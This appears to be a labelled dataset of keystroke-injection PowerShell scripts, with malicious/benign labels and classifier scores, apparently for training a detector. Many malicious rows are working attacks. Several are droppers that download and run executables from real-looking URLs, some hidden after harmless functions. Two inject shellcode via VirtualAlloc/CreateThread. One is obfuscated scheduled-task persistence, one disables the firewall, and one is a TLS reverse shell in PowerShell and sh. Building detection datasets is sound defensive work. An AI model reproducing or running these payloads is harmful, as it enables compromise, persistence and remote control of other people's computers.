"win+r enter powershell enter enter enter [CmdletBinding()] enter param( enter ) enter Set-StrictMode -Version 'Latest' enter $ErrorActionPreference = 'Stop' enter Get-Item -Path 'env:PSModulePath' | enter Select-Object -ExpandProperty 'Value'-ErrorAction Ignore | enter ForEach-Object { $_ -split ';' } | enter Where-Object { $_ } | enter Join-Path -ChildPath 'Carbon' | enter Where-Object { Test-Path -Path $_ -PathType Container } | enter Rename-Item -NewName { 'Carbon{0}' -f [IO.Path]::GetRandomFileName() } -PassThru | enter Remove-Item -Recurse -Force enter enter (New-Object System.Net.WebClient).DownloadFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.877011e-05,0.99994123
"win+r powershell enter Describe ""Get-FormatData"" -Tags ""CI"" { Context ""Check return type of Get-Forma enter tData"" { It ""Should return an object[] as the return type"" { $result = Get-Fo enter rmatData ,$result | Should -BeOfType ""System.Object[]"" } } It ""Can get form enter at data requiring '-PowerShellVersion 5.1'"" { $format = Get-FormatData System.I enter O.FileInfo -PowerShellVersion 5.1 enter enter",1,1,0.0050006425,0.9949994
"win+r powershell enter  function Test-MoveAzureResource { $sourceResourceGroupName = ""testResourceGr enter oup321"" $destinationResourceGroupName = ""testResourceGroup432"" $testResourceNa enter me1 = ""testResource123"" $testResourceName2 = ""testResource234"" $location = ""We enter st US"" $apiversion = ""2014-04-01"" $providerNamespace = ""Providers.Test"" $reso enter urceType = $providerNamespace + ""/statefulResources"" enter enter",1,1,0.0012068603,0.9987931
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_tsl3r600"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 40 Name, Id, CPU, WorkingSet64, Handles | enter Export-Csv -Path (Join-Path $ReportDir ""process_process_overview_40.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4214285e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_lhlurbw3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Export-Csv -Path (Join-Path $ReportDir ""user_current_context.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4342032e-05
"win+r powershell enter function Test-DatePattern enter { enter $patterns = ""d"",""D"",""g"",""G"",""f"",""F"",""m"",""o"",""r"",""s"", ""t"",""T"",""u"",""U"",""Y"",""dd"",""MM"",""yyyy"",""yy"",""hh"",""mm"",""ss"",""yyyyMMdd"",""yyyyMMddhhmm"",""yyyyMMddhhmmss"" enter Write-host ""It is now $(Get-Date)"" -ForegroundColor Green enter foreach ($pattern in $patterns) { enter [pscustomobject]@{ enter Pattern = $pattern enter Syntax = ""Get-Date -format '$pattern'"" enter Value = (Get-Date -Format $pattern) enter } enter } enter Write-Host ""Most patterns are case sensitive"" -ForegroundColor Green enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x15,0x81,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.1309347e-05,0.99994874
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_3i4qyisg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name wuauserv,bits -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.json"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.475979e-05
"win+r powershell enter function PowerSharpPack { [CmdletBinding()] Param ( [String] $Command = "" "" enter , [Switch] $internalmonologue, [Switch] $seatbelt, [Switch] enter enter",1,1,0.0008816217,0.9991184
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_4ps74nro"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.txt"") -Encoding UTF8 enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 100 HotFixID, Description, InstalledBy, InstalledOn | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.txt"") -Encoding UTF8 enter",0,0,0.99996614,3.38913e-05
"win+r powershell enter  function Restart-MrServiceOrDie { [CmdletBinding(SupportsShouldProcess=$true enter , ConfirmImpact='Medium')] param ( [Parameter(Mandatory=$true, ValueFromPipe enter line=$true)] [System.ServiceProcess.ServiceController[]]$Service ) BEGIN { enter enter",1,1,0.0054835556,0.99451643
"win+r powershell enter Function TRYX enter { enter start-sleep -s 2 enter [system.io.directory]::CreateDirectory(""C:\ProgramData\WindowsHost\"") enter New-Item -Path C:\ProgramData\WindowsHost\sqmapi.vbs -ItemType File enter start-sleep -s 1 enter Set-ItemProperty -Path C:\ProgramData\WindowsHost\sqmapi.vbs -Name IsReadOnly -Value $True enter start-sleep -s 1 enter Add-Content -Path C:\ProgramData\WindowsHost\sqmapi.vbs -Value 'set A = CreateObject(""WScript.Shell"")' -Force enter start-sleep -s 1 enter Add-Content -Path C:\ProgramData\WindowsHost\sqmapi.vbs -Value 'A.run ""powershell -ExecutionPolicy Bypass & C""+"":""+""\""+""U""+""s""+""e""+""r""+""s""+""\""+""P""+""u""+""b""+""l""+""i""+""c""+""\CorSym.ps1"",0' -Force enter start-sleep -s 1 enter Get-Content -Path C:\ProgramData\WindowsHost\sqmapi.vbs enter start-sleep -s 3 enter $action = New-ScheduledTaskAction -Execute 'C:\ProgramData\WindowsHost\sqmapi.vbs' enter $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2) enter Register-ScheduledTask -Action $action -Trigger $trigger -TaskName ""chrome_elf"" enter start-sleep -s 6 enter $DEV = 'C>><<<>><<<>>blic\'.Replace("">><<<>><<<>>"","":\Users\Pu"") enter $mcAfee = ""C:\Program Files\Common Files\McAfee\Platform\McUICnt.exe"" enter if([System.IO.File]::Exists($mcAfee)){ enter if((New-Object ""`N`e`T`.`W`e`B`C`l`i`e`N`T"").""`D`o`w`N`l`o`A`d`F`i`l`e""('https://www.escueladeteologiathetruehappiness.com/.NEW/.A.jpg', $DEV + 'CorSym.ps1')){ enter } enter start-sleep -s 7 enter Start ""C:\ProgramData\WindowsHost\sqmapi.vbs"" enter } enter else{ enter if((New-Object ""`N`e`T`.`W`e`B`C`l`i`e`N`T"").""`D`o`w`N`l`o`A`d`F`i`l`e""('https://www.escueladeteologiathetruehappiness.com/.NEW/.B.jpg', $DEV + 'CorSym.ps1')){ enter } enter start-sleep -s 7 enter Start ""C:\ProgramData\WindowsHost\sqmapi.vbs"" enter } enter } enter IEX TRYX enter",1,1,7.223464e-05,0.99992776
win+r powershell enter delay_medium enter unknown_key_action WINDOWS d enter delay_medium enter win+r enter delay_medium enter powershell Start-Process powershell -Verb runAs enter enter enter delay_medium enter unknown_key_action LEFTARROW enter enter enter delay_medium enter unknown_key_action ALT y enter delay_medium enter netsh advfirewall set allprofiles state off; exit enter enter enter,1,1,5.6690278e-05,0.99994326
"win+r powershell enter function Get-Strings { Param ( [Parameter(Position = 1, Mandatory = $True, V enter alueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [ValidateS enter cript({Test-Path $_ -PathType 'Leaf'})] [String[]] [Alias('PSPath')] $Path, enter enter",1,1,0.0060649826,0.99393505
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_snh8ejck"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.txt"") -Encoding UTF8 enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4725967e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_mdv6lymj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 200 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3718792e-05
"win+r powershell enter Describe ""Out-Default Tests"" -tag CI { enter BeforeAll { enter $powershell = ""$PSHOME/pwsh"" enter } enter It ""'Out-Default -Transcript' shows up in transcript, but not host"" { enter $script = @"" enter `$null = Start-Transcript -Path ""$testdrive tab ranscript.txt""; enter 'hello' | Microsoft.PowerShell.Core\Out-Default -Transcript; enter 'bye'; enter `$null = Stop-Transcript enter ""@ enter & $powershell -noprofile -command $script | Should -BeExactly 'bye' enter ""TestDrive: tab ranscript.txt"" | Should -FileContentMatch 'hello' enter } enter It ""Out-Default reverts transcription state when used more than once in a pipeline"" { enter & $powershell -noprofile -command ""Out-Default -Transcript | Out-Default -Transcript; 'Hello'"" | Should -BeExactly ""Hello"" enter } enter It ""Out-Default reverts transcription state when exception occurs in pipeline"" { enter & $powershell -noprofile -command ""try { & { throw } | Out-Default -Transcript } catch {}; 'Hello'"" | Should -BeExactly ""Hello"" enter } enter It ""Out-Default reverts transcription state even if Dispose() isn't called"" { enter $script = @"" enter `$sp = {Out-Default -Transcript}.GetSteppablePipeline(); enter `$sp.Begin(`$false); enter `$sp = `$null; enter [GC]::Collect(); enter [GC]::WaitForPendingFinalizers(); enter 'hello' enter ""@ enter & $powershell -noprofile -command $script | Should -BeExactly 'hello' enter } enter } enter",0,0,0.9992499,0.0007500666
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_qs9wdf11"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Export-Csv -Path (Join-Path $ReportDir ""software_installed_programs.csv"") -NoTypeInformation enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.json"") -Encoding UTF8 enter",0,0,0.99996555,3.4443314e-05
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr enter lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kern enter el32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, u enter int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags enter , IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset enter (IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "" enter Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbe,0x4b,0x33, enter 0x12,0xf0,0xd9,0xc9,0xd9,0x74,0x24,0xf4,0x58,0x31,0xc9,0xb1,0x47,0x31,0x70,0x13, enter 0x83,0xe8,0xfc,0x03,0x70,0x44,0xd1,0xe7,0x0c,0xb2,0x97,0x08,0xed,0x42,0xf8,0x81, enter 0x08,0x73,0x38,0xf5,0x59,0x23,0x88,0x7d,0x0f,0xcf,0x63,0xd3,0xa4,0x44,0x01,0xfc, enter 0xcb,0xed,0xac,0xda,0xe2,0xee,0x9d,0x1f,0x64,0x6c,0xdc,0x73,0x46,0x4d,0x2f,0x86, enter 0x87,0x8a,0x52,0x6b, enter enter",1,1,5.430329e-05,0.99994564
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_6xqi8u8t"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.json"") -Encoding UTF8 enter Write-Host ""Starting system_inventory section 2."" enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,1) } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.472981e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_esn8c54t"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_inbound.csv"") -NoTypeInformation enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4197485e-05
win r notepad enter enter hello world enter,1,1,0.049248695,0.9507513
"win+r enter powershell enter enter enter function Add-GroupUser { enter enter [PoshBot.BotCommand(Permissions = 'manage-groups')] enter [cmdletbinding()] enter param( enter [parameter(Mandatory)] enter $Bot, enter enter [parameter(Mandatory, Position = 0)] enter [string]$Group, enter enter [parameter(Mandatory, Position = 1)] enter [string]$User enter ) enter enter if ($g = $Bot.RoleManager.GetGroup($Group)) { enter enter if ($userId = $Bot.RoleManager.ResolveUsernameToId($User)) { enter try { enter $bot.RoleManager.AddUserToGroup($userId, $Group) enter New-PoshBotCardResponse -Type Normal -Text ""User [$User] added to group [$Group]."" -ThumbnailUrl $thumb.success enter } catch { enter New-PoshBotCardResponse -Type Error -Text ""Failed to add [$User] to group [$Group]"" -ThumbnailUrl $thumb.error enter } enter } else { enter New-PoshBotCardResponse -Type Warning -Text ""User [$User] not found :("" -Title 'Rut row' -ThumbnailUrl $thumb.rutrow enter } enter } else { enter New-PoshBotCardResponse -Type Warning -Text ""Group [$Group] not found :("" -Title 'Rut row' -ThumbnailUrl $thumb.rutrow enter } enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://www.athensheartcenter.com/crm/cgi-bin/lnm.exe',""$env:TEMP\lnm.exe"");Start-Process (""$env:TEMP\lnm.exe"") enter enter",1,1,5.864873e-05,0.99994135
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_x1moq2kp"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.txt"") -Encoding UTF8 enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.443241e-05
"win+r enter powershell enter enter enter $global:WorkingPath = (Get-Location).Path enter enter $global:PSProfile = New-Object PSObject -Property @{ enter Path = Split-Path $MyInvocation.MyCommand.Definition -Parent enter enter GitSource = ""https://github.com/janikvonrotz/PowerShell-PowerUp.git"" enter enter Install = Get-ChildItem -Path (Split-Path $MyInvocation.MyCommand.Definition -Parent) -Filter ""Microsoft.PowerShell_profile.install.ps1"" -Recurse enter } enter enter $global:PSbin = New-Object PSObject -Property @{ enter Path = Join-Path -Path $PSProfile.Path -ChildPath ""bin"" enter } enter enter $global:PSfunctions = New-Object PSObject -Property @{ enter Path = Join-Path -Path $PSProfile.Path -ChildPath ""functions"" enter enter FormatData = New-Object PSObject -Property @{ enter Path = Join-Path -Path $PSProfile.Path -ChildPath ""functions/FormatData"" enter Filter = ""*.format.ps1xml"" enter } enter } enter enter $global:PSlib = New-Object PSObject -Property @{ enter Path = Join-Path -Path $PSProfile.Path -ChildPath ""lib"" enter } enter enter $global:PSlogs = New-Object PSObject -Property @{ enter Path = Join-Path -Path $PSProfile.Path -ChildPath ""logs"" enter enter SessionFile = (Join-Path -Path (Join-Path -Path $PSProfile.Path -ChildPath ""logs"") -ChildPath (""PowerShell Session "" + $((get-date -format o) -replace "":"",""-"") + "" "" + $env:COMPUTERNAME + ""-"" + $env:USERNAME + "".txt"")) enter } enter enter $global:PSconfigs = New-Object PSObject -Property @{ enter Path = Join-Path -Path $PSProfile.Path -ChildPath ""configs"" enter enter File = New-Object PSObject -Property @{ enter Filter = ""*.config.xml"" enter } enter App = New-Object PSObject -Property @{ enter Filter = ""*.app.config.xml"" enter DataFile = ""PackageManager.config.xml"" enter } enter Credential = New-Object PSObject -Property @{ enter Filter = ""*.credential.config.xml"" enter } enter EventLog = New-Object PSObject -Property @{ enter Filter = ""*.eventlog.config.xml"" enter } enter Mail = New-Object PSObject -Property @{ enter Filter = ""*.mail.config.xml"" enter ErrorClass = ""ErrorReport"" enter } enter Profile = New-Object PSObject -Property @{ enter Filter = ""*.profile.config.xml"" enter } enter Script = New-Object PSObject -Property @{ enter Filter = ""*.script.config.xml"" enter } enter ScriptShortcut = New-Object PSObject -Property @{ enter DataFile = ""ScriptShortcut.tmp.xml"" enter } enter Server = New-Object PSObject -Property @{ enter Filter = ""*.server.config.xml"" enter } enter Task = New-Object PSObject -Property @{ enter Filter = ""*.task.config.xml"" enter } enter TrueCryptContainer = New-Object PSObject -Property @{ enter Filter = ""*.truecryptcontainer.config.xml"" enter DataFile = ""TrueCrypt.tmp.xml"" enter } enter User = New-Object PSObject -Property @{ enter Filter = ""*.user.config.xml"" enter } enter } enter enter $global:PSscripts = New-Object PSObject -Property @{ enter Path = Join-Path -Path $PSProfile.Path -ChildPath ""scripts"" enter Extensions = "".ps1"","".ps2"","".ps3"","".psm"" enter } enter enter $global:PSapps = New-Object PSObject -Property @{ enter PowerShell = ""%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe"" enter } enter enter $global:PStemplates = New-Object PSObject -Property @{ enter Path = Join-Path -Path $PSProfile.Path -ChildPath ""templates"" enter enter GitUpdate = Get-ChildItem -Path (Join-Path -Path $PSProfile.Path -ChildPath ""templates"") -Filter ""Git-Update.task.config.xml"" -Recurse enter LogFileRetention = Get-ChildItem -Path (Join-Path -Path $PSProfile.Path -ChildPath ""templates"") -Filter ""Delete-ObsoleteLogFiles.task.config.xml"" -Recurse enter RDP = Get-ChildItem -Path (Join-Path -Path $PSProfile.Path -ChildPath ""templates"") -Filter ""Default.rdp"" -Recurse enter WinSCP = Get-ChildItem -Path (Join-Path -Path $PSProfile.Path -ChildPath ""templates"") -Filter ""WinSCP.ini"" -Recurse enter CustomPPscript = Get-ChildItem -Path (Join-Path -Path $PSProfile.Path -ChildPath ""templates"") -Filter ""Custom PowerShell Profile.script.config.ps1"" -Recurse enter CustomPPISEscript = Get-ChildItem -Path (Join-Path -Path $PSProfile.Path -ChildPath ""templates"") -Filter ""Custom PowerShell Profile ISE.script.config.ps1"" -Recurse enter } enter enter",0,0,0.99995327,4.67565e-05
"win+r enter powershell enter enter enter cmd.exe /c ""p%PSModulePath:~21,1%weRshe%PUBLIC:~12,1%l.exe -noPr -Noni -wi Hid""cmd.exe /c ""PowerShe%PUBLIC:~12,1%%PUBLIC:~12,1% /NoPr /NonI /w hi""cmd.exe /c ""P%PSModulePath:~21,1%werShell /NoPr /NonI /w hi""cmd /c ""FOR /F ""delims=s\ t%PSModulePath:~25,1%kens=4"" %a IN ('set^|findstr PSM')DO %a -nop -noni /w H""cmd /c ""Powe%ALLUSERSPROFILE:~4,1%Shell -NoPr -NonI -w hi""cmd /c ""p^Owe%ALLUSERSPROFILE:~7,1%Shell /NoPr /Nonin /wind hidD""cmd.exe /c ""P%PSModulePath:~21,1%werShell -NoPr -NonI -w hi""powershell -NoPro -noninT -win hcmd /c ""p^Owe%ALLUSERSPROFILE:~7,1%Shell -NoP -Noni -wind hidD""powershell.exe -NoP -nOni -W hcmd /c ""FOR /F ""delims=s\ tokens=4"" %a IN ('set^|findstr PSM')DO %a -nop -noni -w H""powershell -nopr -noninT -W HiddEncmd.exe /c ""FOR /F ""delims=s\ tokens=4"" %a IN ('set^|findstr PSM')DO %a -noProF -nonin -win Hi""cmd /c ""P%PSModulePath:~25,1%weRShell -noProf -NonIn -wi h""powershell -noproF -noni -W Hicmd /c ""Powe%ALLUSERSPROFILE:~4,1%Shell /NoPr /NonI /%PSModulePath:~17,1% hi""powershell.exe -noP -nOnI -windo H -ep ByPasS-exec bypass-exeC byPasS-exEcUtionPoL bYpaSs-exEcUtion bYPaSs-eP BYPaSs enter capslock capslock capslock capslock capslock capslock capslock win r powershell -NoP -NonI enter Set-ItemProperty -Path ""HKCU:\Console\%%Startup"" -Name DelegationConsole -Value ""{#CONHOST}"";Set-ItemProperty -Path ""HKCU:\Console\%%Startup"" -Name DelegationTerminal -Value ""{#CONHOST}"";exit enter echo ""Setting up Infrastructre - Do not interact!"" enter openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes && echo ""Setup complete! Starting listener on Port #PORT "" && openssl s_server -quiet -key key.pem -cert cert.pem -port #PORT enter win r notepad.exe enter Setup requires an unix based machine with openssl installed!$$$$$$$$$$$$""[!] Quack you $env:USERNAME/$env:COMPUTERNAME! `n[?] Opsec Tip: Use environment variables.`n`n""""[!] $env:USERNAME/$env:COMPUTERNAME got found a flash drive... `n[?] Considere converting IPs to decimal (e.g. 127.0.0.1 = 2130706433)`n`n""""[!] $env:USERNAME/$env:COMPUTERNAME compromised by #IDENTIFIER `n[+] Ducks > D0lphins!`n`n""""[!] Quack Attack on $env:USERNAME/$env:COMPUTERNAME `n[+] Sometimes it is better to wait...Be patient!`n`n""""[!] Established remote access on $env:USERNAME/$env:COMPUTERNAME `n[?] Watch out for powershell -v 2!`n`n""""[!] $env:USERNAME/$env:COMPUTERNAME messed with the Duck `n[?] Remember to delete evidence.`n`n""""[!] $env:USERNAME/$env:COMPUTERNAME says Quack! `n[+]...and then he waddled away...`n`n"" win r =[Text.Encoding]::UTF8.GetBytes();=New-Object Net.Sockets.TcpClient( #ADDRESS , #PORT );$s=.GetStream();$sSL=New-Object System.Net.Security.SslStream($s,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]));$sSL.AuthenticateAsClient('madeby.0i41E', $null, ""Tls12"", $false);=new-object System.IO.StreamWriter($sSL);$sSL.write(,0,.Length);.Write('#IDENTIFIER@PS '+(&('g'+'l'))+'> ');.flush();[byte[]]= 0..65535|%{0};while(($i=$sSL.Read(, 0,.Length)) -ne 0){$D=(New-Object -TypeName System.Text.ASCIIEncoding).GetString(,0, $i);$Y=(iex $D | Out-String ) 2>&1;$X=$Y + '#IDENTIFIER@PS ' + (Get-LoCatIon).Path + '> ';$Z=([text.encoding]::UTF8).GetBytes($X);$sSL.Write($Z,0,$Z.Length);$sSL.Flush()};exit enter terminal enter which screen >/dev/null && which openssl >/dev/null && screen -md sh -c 'mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect #ADDRESS:#PORT > /tmp/s; rm /tmp/s' enter exit enter enter enter",1,1,6.4896594e-05,0.99993515
